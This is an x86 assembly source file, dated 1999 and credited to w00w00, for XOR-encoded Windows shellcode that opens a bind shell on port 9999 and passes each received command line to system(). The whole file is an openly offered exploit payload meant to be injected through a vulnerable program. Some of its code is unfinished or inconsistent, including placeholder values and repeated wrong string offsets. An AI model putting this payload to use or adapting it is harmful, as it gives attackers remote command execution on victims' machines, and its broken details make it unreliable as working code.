# Windows shell (one-sided command.com)
# Copyright (C) March 1999, Matt Conover & w00w00 (WSD)
#
# Can give input, but will not see output
# This will only allow 1 connection at a time (for simplicity)
#
# Because Windows doesn't allow interrupts, we push arguments on the stack
# and 'call' functions.  The catch is that the addresses of necessary 
# functions will vary between programs.  Therefore, we use the shellgen
# to "plug" in our guessed (or acquired) addresses.
#
# Notes:
# %edi = first of pre-defined data
# %esi = address of module handle
# %ecx = client (accept()) fd
# %edx = server (socket()) fd

jmp init			# cheap hack (to get data addresses)
start: popl %edi		# pop saved eip into edi

# ---------------------------------------------------------------------
# First we must un'xor all bytes in the shellcode, except for the first
# few, which was left unxor'd (this code here) so that we could decrypt

# We start at our ascii strings, and move backwards until we get to 
# the end of this code (un-xor'd code)

pushl %edi			# save the old edi

call blah			# this will be used as an index address
blah: popl %esi			# on where to stop xor'ing

movl %esi,%eax			# save ending address for XOR
subl $0x5,%eax			# note: we are xor'ing end addr->start addr

addl $0xXX,%edi			# offset to beginning of xor'd code

xorloop:
   decl %edi			# start at top, decrease addr to bottom
   cmpl whatever,%edi		# see if we've reached decrypted all data
   jle xorloop_end		# if we've reached last address.. end

   xorb $0x1,(%edi)		# otherwise, decrypt/xor the byte
   jmp xorloop

xorloop_end: popl %edi		# restore the old edi

# -------------------------------------
# START OF XOR'D BLOCK

# Set all 0xff's to 0x00's (null chars)
# NOTE: the 0xffffffff's used for LoadLibrary() and GetProcAddress() will
# be modified by shellgen, and will not exist at run-time

pushl %edi			# save %edi (saved eip)
decl %edi			# start 1 address below

leal 0x56(%edi),%eax		# store the final 0xff address

setnull_loop:
   cmpl %edi,%eax		# see if we're at end of 0xff'd data
   je setnull_end		# end if so

   incl %edi			# address pointer by 1
   cmpb $0xff,(%edi)		# see if it's 0xff
   jne setnull_loop		# if not, continue

   addb $0x1,(%edi)		# set 0xff'd byte to null
   jmp setnull_loop

setnull_end: popl %edi		# restore the old %edi (saved eip)

# ---------------------------------------------------------------------

# NOTE: All bytes from this point on will be XOR'd (encrypted) to prevent
# nulls in the call functions (et. al.)

LoadLibrary:
   leal 0x8(%edi),%eax		# 0x8(%edi) = address of libname
   pushl %eax

   call *%edi			# call LoadLibrary("wsock32.dll");
   movl %eax,%esi		# store retval (mod handle) in esi

   # ----------------- WSAStartup()

# Note: in practice, this isn't needed.  A program we're trying to exploit
# will have already called WSAStartup() if we are communicating with it
# remotely.  Therefore, we'll leave the code but comment it out.

# WSAStartup:
#  subl $0x190,%esp		# allocate 400 bytes for WSADATA
#  movl %esp,%ebx		# address of WSADATA (used as arg 2)

#  push %ebx			# &wsaData
#  push $0x101			# MAKEWORD(1, 1) result = wsock v1.1

#  leal 0x14(%edi),%eax		# function name ("WSAStartup")
#  call getprocaddr		# function addr returned in %eax

#  call *%eax			# call ret. addr. (WSAStartup()'s addr)

   # ----------------- socket()

socket:
   xorl %eax,%eax		# clear out %eax

   pushl %eax			# IPPROTO_IP (protocol)
   pushl $0x1			# SOCK_STREAM (type)
   pushl $0x2			# AF_INET (family)

   leal 0x1f(%edi),%eax		# function address ("socket")
   call getprocaddr		# function addr returned in %eax

   call *%eax			# call ret. addr. (socket()'s addr)
   movl %eax,%edx		# store server fd in edx

   # ----------------- bind()

bind:
   pushl $0x10			# sockaddr size in bytes (16 bytes)

   subl $0x10,%esp		# allocate mem for sockaddr
   movl %esp,%ebx		# address of sockaddr
   pushl %ebx			# sockaddr's address

   xorl %eax,%eax
   movb $0x10,%al		# zero 0x10 (16) bytes
   call bzero			# zero out sockaddr (ebx = ptr)

   # NOTE - this the structure order may vary between compilers
   movb	$0x2,(%esp)		# AF_INET (sockaddr->sin_family)
   movl $0xf27,0x4(%esp)	# port 9999, in NBO (sockaddr->sin_port)

   pushl %edx			# server fd

   leal 0x1f(%edi),%eax		# function name ("bind")
   call getprocaddr		# function addr returned in %eax

   call *%eax			# call ret. addr. (bind()'s addr)

   # ----------------- listen()

listen:
   xorl %eax,%eax		# clear out %eax

   pushl %eax			# number of backlogs
   pushl %edx			# server fd

   leal 0x1f(%edi),%eax		# function name ("listen")
   call getprocaddr		# function addr returned in %eax

   call *%eax			# call ret. addr. (listen()'s addr)

while_loop1:

      # ----------------- accept()

accept:
      # setup 3rd arg for accept()
      subl $0x4,%esp		# allocate room for sockaddr len
      movl $0x10,(%esp)		# size of sockaddr (16 bytes)
      movl %esp,%ebx		# load %ebx with socklen's address (int *)

      pushl %ebx		# socklen address

      # setup 2nd arg for accept()
      subl $0x10,%esp		# allocate client's sockaddr (16 bytes)
      movl %esp,%ebx		# address of sockaddr

      pushl %ebx		# sockaddr address
      pushl %edx		# server fd

      leal 0x1f(%edi),%eax	# function name ("listen")
      call getprocaddr		# function addr returned in %eax

      call *%eax		# call ret. addr. (listen()'s addr)

      # ----------------------

      movl %eax,%ecx		# store new client fd here

      subl $0x100,%esp		# size of buffer (256 bytes)
      movl %esp,%ebx		# address of buffer

      movl %ebx,%ecx		# ecx = buf ptr

      movl $0x100,%eax		# zero 0x100 (256) bytes
      call bzero		# zero out buf (ebx = ptr)

subwhile_loop1:
      # ----------------- recv()

recv:
      xorl %eax,%eax		# clear out %eax

      pushl %eax		# flags
      pushl $0x1		# buffer len (1 char)

      pushl %ecx		# pointer to buf
      pushl %edx		# client fd

      leal 0x1f(%edi),%eax	# function name ("recv")
      call getprocaddr		# function addr returned in %eax

      call *%eax		# call ret. addr. (recv()'s addr)

      xorl %ebx,%ebx		# clear out %ebx

      cmpl %ebx,%eax		# compare recv() retval to 0
      jl subwhile_end1		# if < 0, break (i.e., SOCKET_ERROR)
      
      # ----------------------

      cmpb $0x1f,(%ecx)		# 0x1f = last ascii code before space
      jle noprint		# if it's < ascii code 0x1f, end buffer

      incl %ecx			# increase bufptr by 1 byte
      jmp subwhile_loop1	# get next char

      noprint:
         xorl %eax,%eax		# clear out %eax
         movl %eax,(%ecx)	# null terminate buffer
				# fall into system() to exec buf

      # ----------------- system()

system:
      leal 0x1f(%edi),%eax	# function name ("system")
      call getprocaddr		# function addr returned in %eax

      call *%eax		# call ret. addr. (system()'s addr)

      # --------------------------

      movl $0x100,%eax		# zero 0x100 (256) bytes
      call bzero		# zero out sockaddr (ebx = ptr)

      movl %ebx,%ecx		# reset buf ptr to first of buf

jmp subwhile_loop1

subwhile_end1:			# where we break to
				# continue on below

   # ------------------------------------------------------
   # closesocket()

closesocket:
   pushl %ecx			# client fd

   leal 0x43(%edi),%eax		# function name ("closesocket")
   call getprocaddr		# function addr returned in %eax

   call *%eax			# call ret. addr. (closesocket()'s addr)

jmp while_loop1

# -------------------------------------------------------------------

getprocaddr:
   pushl %eax			# function name (caller set %eax)
   pushl %esi			# push the module returned by LoadLibrary()

   leal 0x4(%edi),%ebx		# address of GetProcAddress()
   call *%ebx			# call GetProcAddress(mod, funcname)

   ret				# return because this is called as a proc

# -------------------------------------------------------------------

bzero:
   pushl %ebx			# save %ebx (used as pointer)
   pushl %ecx			# save %ecx (used to hold 0x0)

   loop:
      xorl %ecx,%ecx		# clear out %ecx

      movb %cl,(%ebx)		# set byte to null
      incl %ebx			# increase pointer

      decl %eax			# decrease counter

      cmpl %ecx,%eax		# compare counter = 0
      jle endloop		# if <= 0, break;

      jmp loop			# continue looping

endloop: 
   popl %ecx			# restore old %ecx (used to hold 0x0)
   popl %ebx			# restore old %ebx (used as pointer)

   ret
# ----------------------------

# END OF XOR'D BLOCK

init: call start		# used to set eip as an index

# -------------------------------------------------------------------

# These 2 will be modified by shellgen.. don't touch!
.byte 0xff,0xff,0xff,0xff	# LoadLibrary(), (%edi)
.byte 0xff,0xff,0xff,0xff	# GetProcAddress(), 0x4(%edi)

# I use 0xff to indicate "end of string" (we can't use nulls)

.ascii "wsock32.dll"		# 11 bytes, 0x8(%edi)
.byte 0xff			# 1 byte

# -------------------------------------------------------------------

# WSAStartup() will usually not be used, but we're leaving it anyway.
.ascii "WSAStartup"		# 10 bytes, 0x14(%edi)
.byte 0xff			# 1 byte

.ascii "socket"			# 6 bytes, 0x1f(%edi)
.byte 0xff			# 1 byte

.ascii "bind"			# 4 bytes, 0x26(%edi)
.byte 0xff			# 1 byte

.ascii "listen"			# 6 bytes, 0x2b(%edi)
.byte 0xff			# 1 byte

.ascii "accept"			# 6 bytes, 0x32(%edi)
.byte 0xff			# 1 byte

.ascii "recv"			# 4 bytes, 0x39(%edi)
.byte 0xff			# 1 byte

.ascii "send"			# 4 bytes, 0x3e(%edi)
.byte 0xff			# 1 byte

.ascii "system"			# 6 bytes, 0x43(%edi)
.byte 0xff			# 1 byte

.ascii "closesocket"		# 11 bytes, 0x4a(%edi)
.byte 0xff			# 1 byte

